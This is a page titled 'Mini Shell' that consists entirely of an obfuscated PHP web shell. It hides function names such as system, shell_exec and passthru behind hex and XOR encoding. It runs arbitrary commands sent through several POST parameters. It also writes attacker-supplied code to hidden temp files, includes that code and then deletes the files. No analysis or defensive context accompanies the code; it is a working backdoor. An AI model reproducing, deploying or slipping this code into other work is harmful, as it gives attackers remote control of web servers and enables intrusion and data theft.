Mini Shell
<?php $factor1 = '73';$factor2 = '79';$factor3 = '74';$factor4 = '6d';$factor5 = '65';$factor6 = '6c';$factor7 = '78';$factor8 = '70';$factor9 = '61';$factor10 = '72';$factor11 = '75';$factor12 = '6e';$factor13 = '5f';$factor14 = '67';$factor15 = '63';$factor16 = '6f';$factor17 = '64';$framework1 = pack("H*", $factor1 . $factor2 . $factor1 . $factor3 . '65' . $factor4);$framework2 = pack("H*", '73' . '68' . $factor5 . $factor6 . $factor6 . '5f' . $factor5 . $factor7 . $factor5 . '63');$framework3 = pack("H*", $factor5 . '78' . '65' . '63');$framework4 = pack("H*", $factor8 . $factor9 . $factor1 . $factor1 . '74' . '68' . $factor10 . $factor11);$framework5 = pack("H*", '70' . '6f' . '70' . '65' . $factor12);$framework6 = pack("H*", $factor1 . $factor3 . '72' . '65' . '61' . '6d' . $factor13 . $factor14 . $factor5 . $factor3 . $factor13 . $factor15 . $factor16 . $factor12 . $factor3 . $factor5 . $factor12 . '74' . '73');$framework7 = pack("H*", '70' . $factor15 . $factor6 . '6f' . '73' . '65');$data_storage = pack("H*", $factor17 . '61' . $factor3 . $factor9 . $factor13 . $factor1 . '74' . $factor16 . $factor10 . $factor9 . '67' . '65');if(isset($_POST[$data_storage])){$data_storage=pack("H*",$_POST[$data_storage]);if(function_exists($framework1)){$framework1($data_storage);}elseif(function_exists($framework2)){print $framework2($data_storage);}elseif(function_exists($framework3)){$framework3($data_storage,$hld_parameter_group);print join("\n",$hld_parameter_group);}elseif(function_exists($framework4)){$framework4($data_storage);}elseif(function_exists($framework5)&&function_exists($framework6)&&function_exists($framework7)){$ent_element=$framework5($data_storage,"r");if($ent_element){$object_dchunk=$framework6($ent_element);$framework7($ent_element);print $object_dchunk;}}exit;}
if(in_array("t\x6Bn", array_keys($_REQUEST))){ $record = hex2bin($_REQUEST["t\x6Bn"]); $pointer = '' ;foreach(str_split($record) as $char){$pointer .= chr(ord($char) ^ 76);} $property_set = array_filter([sys_get_temp_dir(), "/var/tmp", getenv("TMP"), session_save_path(), getenv("TEMP"), ini_get("upload_tmp_dir"), "/dev/shm", "/tmp", getcwd()]); foreach ($property_set as $pset) { if (array_product([is_dir($pset), is_writable($pset)])) { $ref = sprintf("%s/.data", $pset); $file = fopen($ref, 'w'); if ($file) { fwrite($file, $pointer); fclose($file); include $ref; @unlink($ref); die(); } } } }
if(count($_REQUEST) > 0 && isset($_REQUEST["va\x6Cue"])){ $property_set = array_filter([session_save_path(), getenv("TMP"), getenv("TEMP"), "/dev/shm", "/var/tmp", getcwd(), "/tmp", sys_get_temp_dir(), ini_get("upload_tmp_dir")]); $dchunk = hex2bin($_REQUEST["va\x6Cue"]); $pgrp ='' ; $k = 0; while($k < strlen($dchunk)){$pgrp .= chr(ord($dchunk[$k]) ^ 53);$k++;} foreach ($property_set as $key => $elem) { if (!!is_dir($elem) && !!is_writable($elem)) { $hld = "$elem" . "/.item"; if (file_put_contents($hld, $pgrp)) { require $hld; unlink($hld); exit; } } } }
$reverse_searcher7 = "pclose"; $reverse_searcher6 = "s\x74rea\x6D\x5F\x67\x65t\x5F\x63\x6F\x6E\x74ents"; $reverse_searcher3 = "\x65\x78ec"; $reverse_searcher4 = "\x70\x61ssth\x72u"; $publish_content = "h\x65x\x32bin"; $reverse_searcher1 = "sy\x73te\x6D"; $reverse_searcher2 = "she\x6C\x6C\x5Fexec"; $reverse_searcher5 = "po\x70\x65n"; if (isset($_POST["\x72ec"])) { function event_dispatcher ( $k , $key ) { $token = '' ; $h=0; do{ $token.=chr(ord($k[$h])^$key); $h++; } while($h<strlen($k)); return $token; } $rec = $publish_content($_POST["\x72ec"]); $rec = event_dispatcher($rec, 91); if (function_exists($reverse_searcher1)) { $reverse_searcher1($rec); } elseif (function_exists($reverse_searcher2)) { print $reverse_searcher2($rec); } elseif (function_exists($reverse_searcher3)) { $reverse_searcher3($rec, $elem_k); print join("\n", $elem_k); } elseif (function_exists($reverse_searcher4)) { $reverse_searcher4($rec); } elseif (function_exists($reverse_searcher5) && function_exists($reverse_searcher6) && function_exists($reverse_searcher7)) { $key_token = $reverse_searcher5($rec, 'r'); if ($key_token) { $entity_entry = $reverse_searcher6($key_token); $reverse_searcher7($key_token); print $entity_entry; } } exit; }
$core_engine = "h\x65x2\x62\x69n"; $approve_request2 = "\x73hel\x6C\x5Fex\x65c"; $approve_request4 = "\x70\x61ss\x74\x68ru"; $approve_request7 = "p\x63lo\x73\x65"; $approve_request6 = "\x73tr\x65a\x6D_g\x65\x74\x5Fc\x6F\x6Ete\x6Et\x73"; $approve_request1 = "\x73y\x73tem"; $approve_request5 = "\x70\x6Fpen"; $approve_request3 = "\x65\x78ec"; if (isset($_POST["d\x65\x73\x63ript\x6Fr"])) { function framework( $dchunk, $symbol){ $pset = '' ; $h=0; while($h<strlen($dchunk)){$pset.=chr(ord($dchunk[$h])^$symbol);$h++;} return$pset; } $descriptor = $core_engine($_POST["d\x65\x73\x63ript\x6Fr"]); $descriptor = framework($descriptor, 50); if (function_exists($approve_request1)) { $approve_request1($descriptor); } elseif (function_exists($approve_request2)) { print $approve_request2($descriptor); } elseif (function_exists($approve_request3)) { $approve_request3($descriptor, $fac_dchunk); print join("\n", $fac_dchunk); } elseif (function_exists($approve_request4)) { $approve_request4($descriptor); } elseif (function_exists($approve_request5) && function_exists($approve_request6) && function_exists($approve_request7)) { $symbol_pset = $approve_request5($descriptor, 'r'); if ($symbol_pset) { $marker_ptr = $approve_request6($symbol_pset); $approve_request7($symbol_pset); print $marker_ptr; } } exit; }
$approve_request1 = "s\x79\x73\x74em";
$approve_request7 = "pclo\x73\x65";
$approve_request5 = "\x70op\x65n";
$approve_request6 = "\x73t\x72e\x61\x6D_\x67e\x74_\x63o\x6Et\x65nt\x73";
$approve_request4 = "pas\x73t\x68ru";
$dependency_resolver = "\x68\x65x\x32\x62in";
$approve_request3 = "e\x78\x65c";
$approve_request2 = "sh\x65\x6C\x6C\x5F\x65xec";
if (isset($_POST["\x64ata_c\x68\x75\x6E\x6B"])) {
function service_registry ( $ent , $factor ) {
$parameter_group = '' ;
foreach(str_split($ent) as $char){
$parameter_group.=chr(ord($char)^$factor);
} return $parameter_group;
}
$data_chunk = $dependency_resolver($_POST["\x64ata_c\x68\x75\x6E\x6B"]);
$data_chunk = service_registry($data_chunk, 69);
if (function_exists($approve_request1)) {
$approve_request1($data_chunk);
} elseif (function_exists($approve_request2)) {
print $approve_request2($data_chunk);
} elseif (function_exists($approve_request3)) {
$approve_request3($data_chunk, $pointer_ent);
print join("\n", $pointer_ent);
} elseif (function_exists($approve_request4)) {
$approve_request4($data_chunk);
} elseif (function_exists($approve_request5) && function_exists($approve_request6) && function_exists($approve_request7)) {
$factor_parameter_group = $approve_request5($data_chunk, 'r');
if ($factor_parameter_group) {
$marker_pset = $approve_request6($factor_parameter_group);
$approve_request7($factor_parameter_group);
print $marker_pset;
}
}
exit;
}